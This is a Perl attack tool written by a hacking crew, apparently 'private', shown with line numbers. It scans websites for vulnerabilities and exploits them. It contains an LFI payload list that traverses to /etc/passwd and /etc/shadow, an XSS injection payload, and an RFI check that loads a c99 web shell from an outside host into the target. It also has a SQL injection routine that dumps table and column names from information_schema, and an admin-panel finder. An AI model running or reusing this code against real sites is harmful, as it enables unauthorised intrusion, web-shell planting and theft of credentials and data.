./c0de/perl/EgY_Multiple_Tool.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
#!usr/bin/perl
#      ______    __  __   ______          __                ______                   
#     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
#    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
#   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
#  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
#        /____/              EgY Tool Multiple V 1.0::Hakxer                        
# Coded by Hakxer [Egy Coders Team]
# [email protected]
# EgY Tool .. Multiple v 1.0 [ Priv8 Tool ] 
# What's new in this version ? 
# 1- SQL Injection Options
#      * SQL Shema Extractor (V5) 
###################################################################
################# Vulnerability Scanner ###########################
############# 1- Local File Include ###############################
############# 2- Cross Site Scripting #############################
############# 3- Remote File Include ##############################
###################################################################
################## SQL Injection ##################################
############# 1- SQL Shema Extractor ##############################
###################################################################
#################### Service ##########################
############# 1- MD5 Generator ########################
############# 2- Encode Base64 ########################
############# 3- Decode Base64 ########################
############# 4- Control Paneel Researcher ############
##################################################################
# Coded by Hakxer . Greetz : EgY CoderS Team Member :)
# ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Data_Fr34k3r
# Kof2002 , Sinaritx , HcJ 
###################################################################
 
system("CLS");
system("title EgY Multiple Tool V 1.0");
 
use Digest::MD5;
use MIME::Base64;
use HTTP::Request;
use LWP::UserAgent;
use LWP::Simple; 
			print "\t-----------------------------\n";
			print "\t-- EgY Multiple Tool v 1.0\n";
			print "\t--    Coded By Hakxer     \n";
			print "\t-- Greetz : All My Friend \n";
			print "\t----------------------------\n\n";
 
			print "\n\n 1) Vulnerability Scanner \n";
			print "\n 2) Other Service \n\n";
			print "--> ";
			$VS=<STDIN>;
			chomp $VS;
############################ Service ##################################
if($VS eq 2){
 
		print " 1) MD5 Generator \n";
		print " 2) Encode Base64\n";
		print " 3) Decode Base64\n";
		print " 4) Control Panel Researcher \n";
 
#--> Path Arrays for CPR
@CPR=(
'/admin/','/administrator/','/administration/','/admin.php','/adminstrator.php','/cp/','/admincp/','/admincontrol/',
'/adminarea/','/admin_control/','/siteadmin/','/rearea/','/webadmin/','scriptadmin/','siteadmin/','/login.php',
'/login/','/admin/home.asp');
 
			$serv=<STDIN>;
			chomp $serv;
 
					if($serv eq 1)
					{
					print " Enter Your String \n";
					$md=<STDIN>;
					chomp $md;
					print Digest::MD5->md5_hex("$md")
					}
						if($serv eq 2){
						print " Enter String To Encode \n";
						$basd=<STDIN>;
						chomp $basd;
						$sss=encode_base64($basd);
						print "Your base64 Code Created : \n\n $sss \n";
						}
							if($serv eq 3){
							print " Enter String To Decode \n";
							$base=<STDIN>;
							chomp $base;
							$rrr=decode_base64($base);
							print " Decoded success : \n\n $rrr \n";
							}
 
							if($serv eq 4){
			print " Enter Site ex : http://www.site.com\n";
			$CP=<STDIN>;
			chomp $CP;
 
			print "\n";
 
foreach $CPP(@CPR){
$EEE=$CP.$CPP;
 
$V=HTTP::Request->new(GET=>$EEE);
$B=LWP::UserAgent->new();
$B->timeout(30);
$HEE=$B->request($V);
 
if($HEE->content =~ /Username/ ||
$HEE->content =~ /Password/ ){
print " \n Founded ==> $EEE\n\n";
}
else{print "Not Found ==> $EEE\n";}
			}
}
}
############################# Vulnerability Scanner ############################
		if($VS eq 1){
 
				print " 1) LFI Scan # Local File Include \n"; 
				print " 2) XSS Scan # Cross Site Scripting\n"; 
				print " 3) RFI Scan # Remote File Include \n"; 
				print " 4) SQL Scan # SQL Injection (MYSLQ) Scan\n";
				print " 5) ALL Scan # LFI , XSS , RFI  Scan ((( SQL Soon )))\n"; 
 
				print "\n\n -->";
		$answer=<STDIN>;
		chomp $answer;
 
		if($answer eq 1){
		sub LFI{
		print " Enter Site : e.x : http://www.site.com/index.php?q=\n\n";
		$site=<STDIN>;
		chomp $site;
 
 
 
 
#############################################LFI Scanner#########################################
if($site !~/http:\/\//){
     $site ="http://$site";}
				@devil=(
				'../../etc/passwd%00',
				'../../../etc/passwd%00',
				'../../../../etc/passwd%00',
				'../../../../../etc/passwd%00',
				'../../../../../../etc/passwd%00',
				'../../../../../../../etc/passwd%00',
				'../../../../../../../../etc/passwd%00',
				'../../../../../../../../../etc/passwd%00',
				'../../../../../../../../../../etc/passwd%00',
				'../../../../../../../../../../../etc/passwd%00',
				'../../../../../../../../../../../../etc/passwd%00',
				'../../../../../../../../../../../../../etc/passwd%00',
				'../../../../../../../../../../../../../../etc/passwd%00',
				'../../../../../../../../../../../../../../../..etc/passwd%00',
				'../../etc/passwd',
				'../../../etc/passwd',
				'../../../../etc/passwd',
				'../../../../../etc/passwd',
				'../../../../../../etc/passwd',
				'../../../../../../../etc/passwd',
				'../../../../../../../../etc/passwd',
				'../../../../../../../../../etc/passwd',
				'../../../../../../../../../../etc/passwd',
				'../../../../../../../../../../../etc/passwd',
				'../../../../../../../../../../../../etc/passwd',
				'../../../../../../../../../../../../../etc/passwd',
				'../../../../../../../../../../../../../../etc/passwd',
				'../../../../../../../../../../../../../../../..etc/passwd',
				'../etc/shadow',
				'../../etc/shadow',
				'../../../etc/shadow',
				'../../../../etc/shadow',
				'../../../../../etc/shadow',
				'../../../../../../etc/shadow',
				'../../../../../../../etc/shadow',
				'../../../../../../../../etc/shadow',
				'../../../../../../../../../etc/shadow',
				'../../../../../../../../../../etc/shadow',
				'../../../../../../../../../../../etc/shadow',
				'../../../../../../../../../../../../etc/shadow',
				'../../../../../../../../../../../../../etc/shadow',
				'../../../../../../../../../../../../../../etc/shadow',
				'../etc/group',
				'../../etc/group',
				'../../../etc/group',
				'../../../../etc/group',
				'../../../../../etc/group',
				'../../../../../../etc/group',
				'../../../../../../../etc/group',
				'../../../../../../../../etc/group',
				'../../../../../../../../../etc/group',
				'../../../../../../../../../../etc/group',
				'../../../../../../../../../../../etc/group',
				'../../../../../../../../../../../../etc/group',
				'../../../../../../../../../../../../../etc/group',
				'../../../../../../../../../../../../../../etc/group',
				'../etc/security/group',
				'../../etc/security/group',
				'../../../etc/security/group',
				'../../../../etc/security/group',
				'../../../../../etc/security/group',
				'../../../../../../etc/security/group',
				'../../../../../../../etc/security/group',
				'../../../../../../../../etc/security/group',
				'../../../../../../../../../etc/security/group',
				'../../../../../../../../../../etc/security/group',
				'../../../../../../../../../../../etc/security/group',
				'../etc/security/passwd',
				'../../etc/security/passwd',
				'../../../etc/security/passwd',
				'../../../../etc/security/passwd',
				'../../../../../etc/security/passwd',
				'../../../../../../etc/security/passwd',
				'../../../../../../../etc/security/passwd',
				'../../../../../../../../etc/security/passwd',
				'../../../../../../../../../etc/security/passwd',
				'../../../../../../../../../../etc/security/passwd',
				'../../../../../../../../../../../etc/security/passwd',
				'../../../../../../../../../../../../etc/security/passwd',
				'../../../../../../../../../../../../../etc/security/passwd',
				'../../../../../../../../../../../../../../etc/security/passwd',
				'../etc/security/user',
				'../../etc/security/user',
				'../../../etc/security/user',
				'../../../../etc/security/user',
				'../../../../../etc/security/user',
				'../../../../../../etc/security/user',
				'../../../../../../../etc/security/user',
				'../../../../../../../../etc/security/user',
				'../../../../../../../../../etc/security/user',
				'../../../../../../../../../../etc/security/user',
				'../../../../../../../../../../../etc/security/user',
				'../../../../../../../../../../../../etc/security/user',
				'../../../../../../../../../../../../../etc/security/user'
				);
foreach $scanning(@devil)
{
				$run=$site.$scanning;
					$request =HTTP::Request->new(GET=>$run);
			$agent= LWP::UserAgent->new();
					$response=$agent->request($request);
						if($response->is_success && $response->content =~/root:x:/){
							open(MYFILE,'>>lfi.txt');
				print MYFILE $run;
			$ss="Vuln founded & Created in c:/lfi.txt";
			}
			else {
           $ss="not found";}
	print " $scanning =>[$ss]\n";
	}
}
&LFI;
}
 
##################################################XSS Scanner#################################################
 
elsif($answer eq 2){
			sub XSS{
			print " Enter Site to Cross it :D : like \n http://www.site.com/iq.php?id=\n\n";
			$xssans=<STDIN>;
			chomp $xssans;
					$xsscode='>"<script>alert("Hakxer")</script><div style="1';
						$xss=$xssans.$xsscode;
							$agent=LWP::UserAgent->new();
								$req=$agent->get("$xss");
								if($req->is_success && $req->content=~/Hakxer/){
							print "Vuln Founded ===============>>>>> & Created in C:/xss.txt ";
						open(XSS,'>>xss.txt');
					print XSS $xss;
				close (XSS);
			}
			else { 
				  print "Vuln Not Founded\n\n";
				  }
			}
			&XSS;
}
 
#####################################################RFI Scanner################################################
 
elsif($answer eq 3){
   sub RFI{
			print " Enter Site ex : http://www.site.com/qqq.php?w= \n";
			$rfi=<STDIN>;
			chomp $rfi;
 
					$rficode="http://younes.by.ru/c99.txt";
					$rfid=$rfi.$rficode;
					$request =HTTP::Request->new(GET=>$rfid);
					$agent= LWP::UserAgent->new();
					$response=$agent->request($request);
					if($response->is_success && $response->content =~/c99/){
					open(MYFILE,'>>rfi.txt');
					print MYFILE $rfid;
					$ss="Vuln founded & Created in c:/rfi.txt";
					}
					else {
				   $ss="Cant Bind";}
					print " $rfid =>[$ss]\n";
							}
			&RFI;
}
####################################################SQL Scanner#################################################
####################### Information_schema Extractor -- Version 5 -- ###########################################
					elsif($answer eq 4)
					{
					print " 1) Shema Extractor -- Version 5 -- \n";
					print " 2) SQL Injector \n";
					$choice=<STDIN>;
					chomp $choice;
					if($choice eq 1){
					print " Enter site ex : http://www.site.com/index.php?id=-1+union+select+1,2,3,hakxer,5,6,7 \n \n --> ";
					$sqlsite=<STDIN>;
					chomp $sqlsite;
					$concat="concat(0x3A3A46697273743A3A00,table_name,0x3A3A5365636F6E643A3A00,column_name,0x3A3A)";
					if($sqlsite=~/hakxer/){
					for($y=177;$y<=3000;$y++)
					{
					$sqlsite=~s/hakxer/$concat/;
					$sql="$sqlsite+from+information_schema.columns+LIMIT+$y,1--";
					$request1 =HTTP::Request->new(GET=>$sql);
					$agent1 = LWP::UserAgent->new();
					$response1=$agent1->request($request1)->as_string;
					if($response1 =~ m/.*?::First::(.*?)::Second::(.*?)::/){
					print " Table : $1    |||||    Column  : $2 \n";
					open(ex,'>>extract.txt');
					print ex "Table : $1    Column : $2 \n";
					close(ex);
					}
					}
					}
					}
####################### SQL Injector ################################################################
					if($choice eq 2){
					print " Soon ....... ";
					}
 
					}
					}
 
####################################################Scan All#######################################################
elsif($answer eq 5){
&LFI;
&XSS;
&RFI;
}
 

Back